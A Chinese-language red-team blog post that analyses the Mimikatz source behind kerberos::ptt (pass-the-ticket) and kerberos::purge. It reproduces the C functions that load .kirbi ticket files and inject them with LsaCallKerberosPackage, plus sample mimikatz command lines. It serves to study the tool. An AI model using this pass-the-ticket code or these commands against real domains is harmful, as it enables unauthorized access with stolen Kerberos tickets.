Mimikatz Explorer - Kerberos PTT & Purge
2023-6-9 15:0:45 Author: 红队蓝军(查看原文) 阅读量:16 收藏

Mimikatz Explorer - Kerberos PTT & Purge Mimikatz 的 kerberos::ptt 功能可以将现有的 Kerberos 票据提交到内存中,也就是常说的 “票据传递”。kerberos::purge 功能用于将当前会话缓存...

Mimikatz Explorer - Kerberos PTT & Purge

Mimikatz 的 kerberos::ptt 功能可以将现有的 Kerberos 票据提交到内存中,也就是常说的 “票据传递”。 kerberos::purge 功能用于将当前会话缓存的 Kerberos 票据清空。

TL;DR

KERB_SUBMIT_TKT_REQUEST

KERB_SUBMIT_TKT_REQUEST 结构用于向 Kerberos 颁发机构(KDC)提交票据请求。该结构体没有公开在微软文档中,其语法如下:

typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID LogonId;
    ULONG Flags;
    KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
    ULONG KerbCredSize;
    ULONG KerbCredOffset;
} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;  

主要介绍以下成员:

  • MessageType:标识正在发出的请求类型的 KERB_PROTOCOL_MESSAGE_TYPE 值。此成员必须设置为 KerbSubmitTicketMessage。
  • Key:用于解密 Kerberos 凭据(KRB_CRED)的加密密钥。
  • KerbCredSize:表示 KRB_CRED 数据的大小(以字节为单位),即 KRB_CRED 凭据的长度。
  • KerbCredOffset:表示 KRB_CRED 数据在整个消息中的偏移量,即 Kerberos 凭据的起始位置。

KerbSubmitTicketMessage 调度例程从 KDC 获取票证并更新票证缓存。需要 SeTcbPrivilege 才能访问另一个登录帐户的票证缓存。

在 LsaCallAuthenticationPackage 函数中使用 KERB_SUBMIT_TKT_REQUEST 时,需要扩展

KERB_SUBMIT_TKT_REQUEST 结构体的大小,将 KRB_CRED 数据追加到 KERB_SUBMIT_TKT_REQUEST 结构后面,并将 KRB_CRED 数据在整个 KERB_SUBMIT_TKT_REQUEST 消息中的偏移量给到 KerbCredOffset。

Mimikatz 的 kerberos::ptt 通过 LsaCallAuthenticationPackage 函数发送 KERB_SUBMIT_TKT_REQUEST 消息,将现有的 Kerberos 票据传递(文件或二进制数据)到内存中。

KERB_PURGE_TKT_CACHE_REQUEST

KERB_PURGE_TKT_CACHE_REQUEST 结构包含用于从票证缓存中删除条目的信息。

该结构语法如下:

typedef struct _KERB_PURGE_TKT_CACHE_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID                       LogonId;
    UNICODE_STRING             ServerName;
    UNICODE_STRING             RealmName;
} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;
  • MessageType:标识正在发出的请求类型的 KERB_PROTOCOL_MESSAGE_TYPE 值。此成员必须设置为 KerbPurgeTicketCacheMessage。
  • LogonId:包含登录会话标识符的 LUID 结构。
  • ServerName:包含应从缓存中删除票证的服务的名称,为 UNICODE_STRING 字符串。
  • RealmName:包含应从缓存中删除票证的领域的名称,为 UNICODE_STRING 字符串。

如果 ServerName 和 RealmName 均为零长度, LsaCallAuthenticationPackage 将删除由 LogonId 标识的登录会话的所有票证。否则, LsaCallAuthenticationPackage 将搜索 [email protected] 的缓存票证,并删除所有此类票证。

KerbPurgeTicketCacheMessage 调度例程允许从用户登录会话的票证缓存中删除选定的票证。它还可以删除缓存的所有票证。

Mimikatz 的 kerberos::purge 通过 LsaCallAuthenticationPackage 函数发送 KERB_PURGE_TKT_CACHE_REQUEST 消息,将当前会话中的 Kerberos 票据传递清空。

Main Detail

PTT

Mimikatz 的 kerberos::ptt 功能可以将现有的 Kerberos 票据提交到内存中,也就是常说的 “票据传递”。

根据ptt功能的名称找到其入口函数 kuhl_m_kerberos_ptt:

  • kerberos\kuhl_m_kerberos.c
NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t* argv[])
{
    int i;
    for (i = 0; i < argc; i++)
    {
        if (PathIsDirectory(argv[i]))
        {
            kprintf(L"* Directory: \'%s\'\n", argv[i]);
            kull_m_file_Find(argv[i], L"*.kirbi", FALSE, 0, FALSE, FALSE, kuhl_m_kerberos_ptt_directory, NULL);
        }
        else kuhl_m_kerberos_ptt_directory(0, argv[i], PathFindFileName(argv[i]), NULL);
    }
    return STATUS_SUCCESS;
}

该函数内部,首先通过 PathIsDirectory 如函数判断用户提供的参数是否是目录,如果是,则通过 kull_m_file_Find 获取该目录中所有后缀为 .kirbi 的票据文件,并对每个票据文件执行回调函数 kuhl_m_kerberos_ptt_directory。如果不是目录,则直接对该文件调用 kuhl_m_kerberos_ptt_directory 函数。

跟进 kuhl_m_kerberos_ptt_directory 函数:

  • kerberos\kuhl_m_kerberos.c
BOOL CALLBACK kuhl_m_kerberos_ptt_directory(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg)
{
    if (fullpath)
    {
        kprintf(L"\n* File: \'%s\': ", fullpath);
        kuhl_m_kerberos_ptt_file(fullpath);
    }
    return FALSE;
}

该函数直接对提供的票据文件调用 kuhl_m_kerberos_ptt_file 函数。

跟进 kuhl_m_kerberos_ptt_file 函数:

  • kerberos\kuhl_m_kerberos.c
void kuhl_m_kerberos_ptt_file(PCWCHAR filename)
{
    PBYTE fileData;
    DWORD fileSize;
    NTSTATUS status;
    if (kull_m_file_readData(filename, &fileData, &fileSize))
    {
        status = kuhl_m_kerberos_ptt_data(fileData, fileSize);
        if (NT_SUCCESS(status))
            kprintf(L"OK\n");
        else
            PRINT_ERROR(L"LsaCallKerberosPackage %08x\n", status);
        LocalFree(fileData);
    }
    else PRINT_ERROR_AUTO(L"kull_m_file_readData");
}

在 kuhl_m_kerberos_ptt_file 函数内部,首先通过 kull_m_file_readData 函数将文件保存的票据数据读取出来,并保存到 fileData 所指向的内存中,fileSize 中保存了票据数据的大小。

跟进 kull_m_file_readData 函数:

  • modules\kull_m_file.c
BOOL kull_m_file_readData(PCWCHAR fileName, PBYTE * data, PDWORD lenght)    // for ""little"" files !
{
    return kull_m_file_readGeneric(fileName, data, lenght, 0);
}

其直接调用 kull_m_file_readGeneric 函数,跟进 kull_m_file_readGeneric 函数:

  • modules\kull_m_file.c
BOOL kull_m_file_readGeneric(PCWCHAR fileName, PBYTE * data, PDWORD lenght, DWORD flags)
{
    BOOL reussite = FALSE;
    DWORD dwBytesReaded;
    LARGE_INTEGER filesize;
    HANDLE hFile = NULL;

    if(isBase64InterceptInput)
    {
        if(!(reussite = kull_m_string_quick_base64_to_Binary(fileName, data, lenght)))
            PRINT_ERROR_AUTO(L"kull_m_string_quick_base64_to_Binary");
    }
    else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, flags, NULL)) && hFile != INVALID_HANDLE_VALUE)
    {
        if(GetFileSizeEx(hFile, &filesize) && !filesize.HighPart)
        {
            *lenght = filesize.LowPart;
            if(*data = (PBYTE) LocalAlloc(LPTR, *lenght))
            {
                if(!(reussite = ReadFile(hFile, *data, *lenght, &dwBytesReaded, NULL) && (*lenght == dwBytesReaded)))
                    LocalFree(*data);
            }
        }
        CloseHandle(hFile);
    }
    return reussite;
}

可以看到,在 kull_m_file_readGeneric 函数中,如果 isBase64InterceptInput 为 TRUE,则通过 kull_m_string_quick_base64_to_Binary 函数解密 Base64 编码格式的票据,并将解密后的内容保存到 data 中。但是 isBase64InterceptInput 默认为 FALSE,因此将调用 ReadFile 函数将票据内容读取到 data 中。

回到 kuhl_m_kerberos_ptt_file 函数中,将对 fileData 和 fileSize 调用 kuhl_m_kerberos_ptt_data 函数,在该函数中执行真正的“票据传递”过程。

跟进 kuhl_m_kerberos_ptt_data 函数:

  • kerberos\kuhl_m_kerberos.c
NTSTATUS kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize)
{
    NTSTATUS status = STATUS_MEMORY_NOT_ALLOCATED, packageStatus;
    DWORD submitSize, responseSize;
    PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
    PVOID dumPtr;

    submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;
    if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize))
    {
        pKerbSubmit->MessageType = KerbSubmitTicketMessage;
        pKerbSubmit->KerbCredSize = dataSize;
        pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
        RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);

        status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
        if (NT_SUCCESS(status))
        {
            status = packageStatus;
            if (!NT_SUCCESS(status))
                PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : %08x\n", status);
        }
        else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage : %08x\n", status);

        LocalFree(pKerbSubmit);
    }
    return status;
}

该函数首先声明了一个 KERB_SUBMIT_TKT_REQUEST 结构的指针变量 pKerbSubmit。然后扩展了 KERB_SUBMIT_TKT_REQUEST 结构的大小,如下所示。

submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;
if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize))
{
    // ...
}

这里 pKerbSubmit 在原来 sizeof(KERB_SUBMIT_TKT_REQUEST) 大小的基础上增加了 dataSize,以保证后续将票据数据追加到 pKerbSubmit 指向的内存中。

然后设置 pKerbSubmit 中的成员,必须将 MessageType 成员设为 KerbSubmitTicketMessage,KerbCredSize 设为票据数据的大小 dataSize,KerbCredOffset 设置追加的票据数据相对于 KERB_SUBMIT_TKT_REQUEST 结构起始位置的偏移量,并通过 RtlCopyMemory 将票据数据追加到 pKerbSubmit 扩展出来的内存中,如下所示。

pKerbSubmit->MessageType = KerbSubmitTicketMessage;
pKerbSubmit->KerbCredSize = dataSize;
pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);

最后,通过调用 LsaCallKerberosPackage 函数发送 KerbSubmitTicketMessage 消息请求,将该票据提交到当前会话缓存中,完成票据传递过程。

最终执行效果如下:

mimikatz.exe "kerberos::ptt [email protected]~DC01.pentest.com~pentest.com-PENTEST.COM.kirbi" exit

Purge

kerberos::purge 功能用于将当前会话缓存的 Kerberos 票据清空。

根据 purge 功能的名称找到其入口函数 kuhl_m_kerberos_purge:

  • kerberos\kuhl_m_kerberos.c
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t* argv[])
{
    NTSTATUS status, packageStatus;
    KERB_PURGE_TKT_CACHE_REQUEST kerbPurgeRequest = { KerbPurgeTicketCacheMessage, {0, 0}, {0, 0, NULL}, {0, 0, NULL} };
    PVOID dumPtr;
    DWORD responseSize;

    status = LsaCallKerberosPackage(&kerbPurgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &dumPtr, &responseSize, &packageStatus);
    if (NT_SUCCESS(status))
    {
        if (NT_SUCCESS(packageStatus))
            kprintf(L"Ticket(s) purge for current session is OK\n");
        else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage / Package : %08x\n", packageStatus);
    }
    else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage : %08x\n", status);

    return STATUS_SUCCESS;
}

该函数首先声明了一个 KERB_PURGE_TKT_CACHE_REQUEST 结构的变量 kerbPurgeRequest,并将 MessageType 成员设为 KerbPurgeTicketCacheMessage,以表示从用户登录会话的票证缓存中删除选定的票证。然后将 kerbPurgeRequest 的其余成员设为 0 或 NULL,以表示删除当前会话缓存的所有票证。

最终执行效果如下:

mimikatz.exe "kerberos::purge" exit

文章来源于:https://forum.butian.net/share/2303

若有侵权请联系删除

加下方wx,拉你一起进群学习


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247511492&idx=1&sn=6729befb59c1bf539719c9ee92683124&chksm=ce671778f9109e6e799215726a62e8f763769516dbb21ca64514a89f9e3adf73cc819466f1ab#rd
如有侵权请联系:admin#unsafe.sh